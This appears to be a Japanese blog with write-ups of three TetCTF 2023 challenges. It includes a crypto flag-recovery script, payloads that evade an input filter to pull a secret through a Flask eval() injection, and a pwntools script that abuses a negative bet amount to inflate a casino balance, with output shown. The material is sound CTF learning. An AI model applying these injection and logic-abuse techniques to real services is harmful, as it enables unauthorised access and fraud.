したがって、次のプログラムでフラグを復元することができる。

from bitarray import bitarray  # https://pypi.org/project/bitarray/
import random

output = [
    0x7dfdf6eba4da43bf7ca6eb64d3fbaac5e764b2c8e66e1f2a30e3b9e95b2ef48b28f105cdfc,
    0x3353e19ed6a3ecad7716831b8cc149ad3a1990c8f4682c434d1b7f417e7df9e9ca0743fc3a,
    0x2e15e68721c7773a920d9622cbad21b2d48e00358b1107b300ba19c3a48291dc1579eaf4f4,
    0xe0f6b4e61390ce8d1eab002af797eb022c58a6576ef55c78b917268b9fe4d3f45dfc7d5dc3,
    0xde11f01e825a69e5b1e004db1f79974ca9e42a2b0c0197dcb322f5a0e43cf7ddfdb529699d,
    0x976dbf67bf2f67fd947c69696c5ef5bb9186b8031d279165a5fcd1f6ac9d7f668b847ecfc0,
    0x01f123b89f75d3ab5f744caa4dd892eac598a0b1413cc0abf93509b2bc254a5714fd979f7a,
    0x488b3d4d110f2dca864f6589a58033cc23ca3618db8ce59f398b7b9a6dfd93220e1cd02538,
    0x6b92f7e54e6406b2d7d1176f5604e22cf4c6710ff35fa4cf7d33a7d1855a7f868da8713faa,
    0xf9302dccf5c000ef69c2440fbe22b7eaeb5a95483dda09a0b0414e297ad81fb64fabc60025,
    0xc9b5dcf6031051d3433ddc358f7e18b3f7cec58b37bace17f2fd1e39b1cac64fbfcdbff2aa,
    0xbddac6c00310a5c80cb73d640a1b0592ed5d99984971a085941e7ea8e2fd0e86aaa1b7098f,
    0x2ac7cdeb9e7eeb5abad2b4ed1238de39cb17aa4f4d8827ebd36d4a99acb9fb4e44cd365186,
    0xb38ed3a76f5751faaca88fbae7ef53a6a4baa4f29b4bca0ef782b373969d3df62d9c276d69,
    0x20f40b4267ae37f994dac8fccbb652d29abce709dc9f52223ddebe441899edfb8dc3a31a5d,
    0xc9116855c08f1d04cbe6d86d0e9523c564fd3dd8bb79f7898ea7e624aba832e6530ad1231c,
    0xb388f35a0f2009326bf66170156e57a36eea83285698fcdf2ba1fbbad199dc9d7860158d5e,
    0x1f8c81249a0428cd781494ada971c49e1cd7121af374ecc70d902ad0f4f736e4ef23f61fc9,
    0xb70d877d5ff8c38096faecb1de2df31ce467372c09c66c54b8e122123b539966937bb94d52,
    0x72951dcfda3601c762b4ea5119e40e93bbe7a595a35db985cb990f3bbcc74ddc7157f0baff,
    0xca0532f7df0239d0fe60e9a62852384f6cce737884808134fb1960e84803fb6ddc144df3c9,
    0x78f35e7e26df365e213787a3885ca11c76d14fb998d4a440826b2d8adaa5fe85065c9e9c0d,
    0xf3110f509bd39e5ead882e85ccb31906809a0c29e33a79f0b3229e671dba1353c89968c4a4,
    0x2ac15e7a5dcc821c58ac08d526e5a350ef994bb485fc1c916f59e366e6f7e7ddc76b4a0cae,
    0x381a2afbc6aa95643248d8dd39c44fd7090746af9fa3f3c4f70ba56298d6ca1b36b7d19ec8,
    0xb098dfffe1cd19019ba9c472f6f966964352a958eda8707553021870ba51c9a0b573a59f99,
    0x02578a8b58c1e9c9d5f4321e0b8eb66922905ec2dfd3bf1a6ef583fcce8846243cf6c609d9,
    0x93efb1acf6b268c5a79746a28c64adbbbc81924991e13aa971d64f4087c87650ebb6309daa,
    0x9fcbff37a9919d676e6ce86d9bae8f75376b1a7a76de304c622fe163ea7549a8dcccb095f7,
    0xad25c09cdcc768b53a519daf6f1a0861b4c9530cc9d0cf82fbf7c9f5a9acc2346d611a21d0,
    0x08aee3c019e664d88f3f1147c4f52d33f2f4ab9fea176625f24a14d517a1d59d338e5bf0aa,
    0x479de7e5e8e7841382bb7c9c844f7f8d900979bd360c6d84dc69bd17e7f4ced202afce5964,
    0x65c43c740e68be4ac64c559f09b461904be78fe5f5eaa6f78afb23a1d9c12ecf1d14a287a3,
    0x90063ef6a3b48091f514f1b87dc3ef40942989648043df1dda7d1221c0efea863f69f2fba6,
    0xe4c2976ec29fec9cc3d04ec5f4dde4e282886be0c5ee471ccb8cd201558adb759375c27d78,
    0x1ec9458af0857b6f437ee5d72de707eb6d38df96a830bb53775667f9722a46869e0954b5ad,
    0x5de6f6df232cc29f3fcaac177f323ecfd99732e7559f9d6ffdd706e387bcc23127891be4e1,
    0x7df2884288490b19fd7d20c746508c3ee8e77706c549ba5a07bf9cc183ede90e5cdd6cc59b,
    0x6ebc5d2caff2d0fc8afb538ea990f4289f716375834a67966dc6eba35b7559726826c23bd4,
    0xe6bdfbfe7f094d6ecfdf76433cfc3c64c5041ad8aeaf84ba5c8473b24d836f332e8e41eabe,
    0x6b845fefb8e5fe2253600c137047ee029a1bab28e9b45eda71597169148593938049092ee2,
    0x1172b4a57311da2ff968e1071c4eff0bd22a333cfdc8a6fdef41a4b98f69620152bbeb60b5,
    0x5a788ee6a476eaaa3f581eaebc2589efa640ac37fc5faa4f3591b7db58234dd8fb9743192d,
    0x07d49bf8af3cf3ac77db932a41b81d61736b7e8f5bb656b2a9637f57b7871c1297bf5e3b14,
    0x94d1d09e9c3d024538c4e5fedafbf5aed564d9998dec700647f704115f281efe74aefc0231,
    0xb11b4ff19b77cd69f1881e5401c6e56a9bbf2e88bb443b3340de8d01c4768c6efa34233b35,
    0xdfc7edc0fa6232d7df18717c9dec7631295a035afdeeea7e2dfaec3518e58c8189f65dd52f,
    0x5490e892fca7f4be4312ad69b1eed46e11cb94bf8bafd2ef725e77fd9620ba980fa1d46563,
    0xb9066eb49cb42ecfdcd9f7713e0feddb920043908df127cf35386df3b4bce6fab3c6a3e89f,
    0x8c51507ea79ffb2914436f8c9fa39501d89b8f9446cbe2fcfb0bada4886ff76b20ce1e29f3,
    0x6df94fc313b82da575073aeb54c35e5d3ff0c9dc7032cbffcc92b47b2fead75610d6157bca,
    0xb92cf23e538fc6b3d1c0e28dd81f3c2a58d890bf323da321a39c9fb601caee4bcc1ccc9abd,
    0x0cc0985f966eb484c5f26b9bb8821dabf3b88d3471b55c6351a43fde32428519241a0ddd76,
    0x78cf7e7bf1ffa53812d1c9b47fc23852b2fcd318f7ea21dba12ad3a1d4f38e2ba1a5116aa9,
    0xe35e377f7972b49fbb82a42f90443ca77adb678fa278bf93046c8ec2bc05cb2155d5b506d6,
    0x3bc4ffa6eb16c6da6c40d78b132131092bc8f0696a81e14deca5018daea56c6678befbc1f8,
    0x138d167661180fc7b7c52fa821c518a29d41c5a73aee9969f74b096cff8fca7ead4f5affe9,
    0x3784f8b584545b1ef09aa3815182776966eb9d4758f25ae89550aee3916dce6f40d29c79ee,
    0x09913e8ed1778c95cbac302c86cc4ba5ad8b5fe113c78352d00979e84dcd10c3ecd036fba0,
    0xd1ed85304ea4a3e03233544efb85017c9cd1d3259d959acc0f0dbdaece9ed668d937d52309,
    0xe6b89393cfd0e888c8dce582495d216760eb1a8032103351d15c8033a46aae338a11ac99ee,
    0x92683cb1cb9f24a7925395f54be8b0e520ffd5afbc80c11256e33324bf2509a1c9b64f46dc,
    0x0b7e5204fba4ceec74ee7b35417ecb88fa8a74c6575bb6de8f15f1257b6e02a42e4b56dff0,
    0x49d609e06cb04aa787ebe99d741d4b60b909a00c0de6faecbf4c6d21559495a7c67060625d,
]

from Crypto.Util.number import bytes_to_long, long_to_bytes

if __name__ == '__main__':
    #from secret import FLAG
    FLAG = b"TetCTF{89012345678901234567890123456}"
    bit = [False for _ in range(len(FLAG)*8)]
    for i in range(len("TetCTF{")*8):
        bit[i] = True
    for i in range(8):
        bit[len(FLAG)*8-i-1] = True
    for i in range(0, len(FLAG)*8, 8):
        bit[i] = True
    flag_bit = bitarray()
    flag_bit.frombytes(FLAG)

    test = [i for i in range(len(FLAG)*8)]
    shuffleds = []
    random.seed(2023)
    for _ in range(64):
        test2 = test[:]
        random.shuffle(test2)
        shuffleds.append(test2)

    print(shuffleds)

    for _ in range(2):
        keys = []
        for i in range(64):
            shuffled = shuffleds[i]
            out = bitarray()
            out.frombytes(long_to_bytes(output[i]))
            key = []
            for j in range(len(FLAG)*8):
                s = shuffled[j]
                if bit[s]:
                    k = flag_bit[s] ^ out[j]
                    if j%8==0:
                        assert(k==0)
                    key.append(k)
                else:
                    if j%8==0:
                        k = 0
                        f = out[j] ^ k
                        key.append(k)
                        flag_bit[s] = f
                        bit[s] = True
                    else:
                        key.append(None)
            keys.append(key)
        print(keys)
    
    print(bit)
    print(bytes(flag_bit))

フラグは、

TetCTF{____1nsuff1c13nt_3ntr0py_____}

RC4 Stream Cipher and Its Variants (Discrete Mathematics and Its Applications)

Paul, Goutam

Routledge

2019-09-19

2023年01月05日00:00

TetCTF 2023 NewYearBot

カテゴリ: TetCTF 2023

NewYearBot
100
Description
New Year New Code! My friend decide to learn code in new year, here his very first website: http://172.105.120.180:9999/
File
He said it is very secure because he is very strict on what user can input, can you check?
https://drive.google.com/file/d/1tU18ePUAHHYpxJ9QhdVKBpuBm_eXy--r/view?usp=sharing
Note
Don't generate excessive load. Scanning/Dirbust is not needed.
Author
@tsug0d

Flaskを使用したWebアプリケーション。フラグを環境変数から読み込んでいる。

from flask import Flask, request
import re, random, os

app = Flask(__name__)
FL4G = os.environ.get('secret_flag')

eval関数を呼び出しているので、typeにFL4G、numberに添え字を指定することで1文字ずつ取得できそう。

        debug = request.args.get("debug")
        if request.method == 'POST':
            greetType = request.form["type"]
            greetNumber = request.form["number"]
            if greetType == "greeting_all":
                greeting = random_greet(random.choice(NewYearCategoryList))
            else:
                try:
                    if greetType != None and greetNumber != None:
                        greetNumber = re.sub(r'\s+', '', greetNumber)
                        if greetType.isidentifier() == True and botValidator(greetNumber) == True:
                            if len("%s[%s]" % (greetType, greetNumber)) > 20:
                                greeting = fail
                            else:
                                greeting = eval("%s[%s]" % (greetType, greetNumber))
                            try:
                                if greeting != fail and debug != None:
                                    greeting += "<br>You're choosing %s, it has %s quotes"%(greetType, len(eval(greetType)))

入力チェックで数字は0～5しか使えないが、()-*~^|などの記号は使える。

def botValidator(s):
    # Number only!
    for c in s:
        if (57 < ord(c) < 123):
            return False
    # The number should only within length of greeting list.
    n = "".join(x for x in re.findall(r'\d+', s))
    if n.isnumeric():
        ev = "max("
        for gl in NewYearCategoryList:
            ev += "len(%s)," % gl 
        l = eval(ev[:-1]+")")
        if int(n) > (l-1):
            return False
    return True

Fiddlerを使ってPOSTデータを次のようにいじる。次のように1文字ずつフラグ文字を取得できる。

type=FL4G&number=0 #0 T
type=FL4G&number=1 #1 e
type=FL4G&number=2 #2 t
type=FL4G&number=3 #3 C
type=FL4G&number=4 #4 T
type=FL4G&number=5 #5 F
type=FL4G&number=-~0**0*3 #6 {
type=FL4G&number=~(~0**0*4) #7 J
type=FL4G&number=-~0**0*4 #8 u
type=FL4G&number=~(~0**0*5) #9 S
type=FL4G&number=-~0**0*5 #10 t
type=FL4G&number=0**0-~0**0*5 #11 _
type=FL4G&number=~0**0*~0**0*3 #12 F
type=FL4G&number=-(-~0-~0**0*5) #-11=13 0
type=FL4G&number=~0**0*5 #-10=14 r
type=FL4G&number=-~(~0**0*5) #-9=15 F
type=FL4G&number=~0**0*4 #-8=16 u
type=FL4G&number=-~(~0**0*4) #-7=17 n
type=FL4G&number=~0**0*3 #-6=18 n
type=FL4G&number=-5 #-5=19 (
type=FL4G&number=-4 #-4=20 ^
type=FL4G&number=-3 #-3=21 _
type=FL4G&number=-2 #-2=22 ^
type=FL4G&number=-1 #-1=23 }

フラグは、

TetCTF{JuSt_F0rFunn(^_^}

Python FlaskによるWebアプリ開発入門物体検知アプリ&機械学習APIの作り方

平田哲也

翔泳社

2022-01-24

2023年01月04日00:00

TetCTF 2023 casino

カテゴリ: TetCTF 2023

casino
831
Description
Not really crypto...
Service
192.53.115.129:31338
File
https://drive.google.com/file/d/1UfeHQzvoRhCN1nVMokdviybhc7jozPcN/view?usp=share_link
Author
@ndh

ユーザ登録→Bet→Proof表示→フラグ表示の流れ。
Betでは、0～2023の乱数を当てることができれば掛け金が増えるが、逆に掛け金にマイナス値を与えて間違えることで増やすことができる。
したがって、以下のプログラムを実行するとフラグを得ることができる。

from pwn import *
import argparse
import json
import base64

parser = argparse.ArgumentParser()
parser.add_argument('--local', action='store_true')
args = parser.parse_args()

context.log_level = 'debug'
p = remote('192.53.115.129', 31338)

data = dict()
data['Recipient'] = "Casino"
data['Command'] = "Register"
data['Username'] = "aaa"
p.sendline(json.dumps(data))
ret = p.recvline()
print(ret)

data = dict()
data['Recipient'] = "Casino"
data['Command'] = "ShowBalanceWithProof"
data['Username'] = "aaa"
p.sendline(json.dumps(data))
ret = p.recvline()
print(ret)
ret = ret.split(b',')
balance = int(ret[0].strip())
proof = ret[1].strip()
proofData = base64.b64decode(proof)

data = dict()
data['Recipient'] = "Casino"
data['Command'] = "Bet"
data['Username'] = "aaa"
data["Amount"] = -99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
data["N"] = 1
p.sendline(json.dumps(data))
ret = p.recvline()
print(ret)

data = dict()
data['Recipient'] = "Casino"
data['Command'] = "ShowBalanceWithProof"
data['Username'] = "aaa"
p.sendline(json.dumps(data))
ret = p.recvline()
print(ret)
ret = ret.split(b',')
balance = int(ret[0].strip())
proof = ret[1].strip()
proofData = base64.b64decode(proof)

data = dict()
data['Recipient'] = "FlagSeller"
data['Command'] = "PrintFlag"
data['Username'] = "aaa"
data["Balance"] = balance
data["proof_data"] = proof.decode()
p.sendline(json.dumps(data))
ret = p.recvline()
print(ret)

p.close()

以下は実行結果。

b'{"Recipient": "Casino", "Command": "Register", "Username": "aaa"}\n'

b'Added user: aaa.\n'

b'{"Recipient": "Casino", "Command": "ShowBalanceWithProof", "Username": "aaa"}\n'

b'2023, GikKA2FhYRIgQPJb1twwnZ8heEnF0bSrB68jO9RSatr+X608MrQ7cmYYAQ==\n'

b'{"Recipient": "Casino", "Command": "Bet", "Username": "aaa", "Amount": -99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999, "N": 1}\n'

b'YOU LOSE (1566 != 1)! Current balance: 100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002022 (--99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).\n'

b'{"Recipient": "Casino", "Command": "ShowBalanceWithProof", "Username": "aaa"}\n'

b'10000002022, GikKA2FhYRIgOohZ458ucROd7O1Ws/ZcaRC0y9NA5Xf4+XlNGn9OTkMYAg==\n'

b'{"Recipient": "FlagSeller", "Command": "PrintFlag", "Username": "aaa", "Balance": 100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002022, "proof_data": "GikKA2FhYRIgJF8T4TuyAYwBc7tMOKcmigommLseeRuY5AFg1FI/WmUYAg=="}\n'

b'Your flag is: TetCTF{fr0m_n3g4t1v3n3ss_t0_b4nkruptcy}\n'

初めてのGo言語 ―他言語プログラマーのためのイディオマティックGo実践ガイド

Jon Bodner

オライリージャパン

2022-09-26

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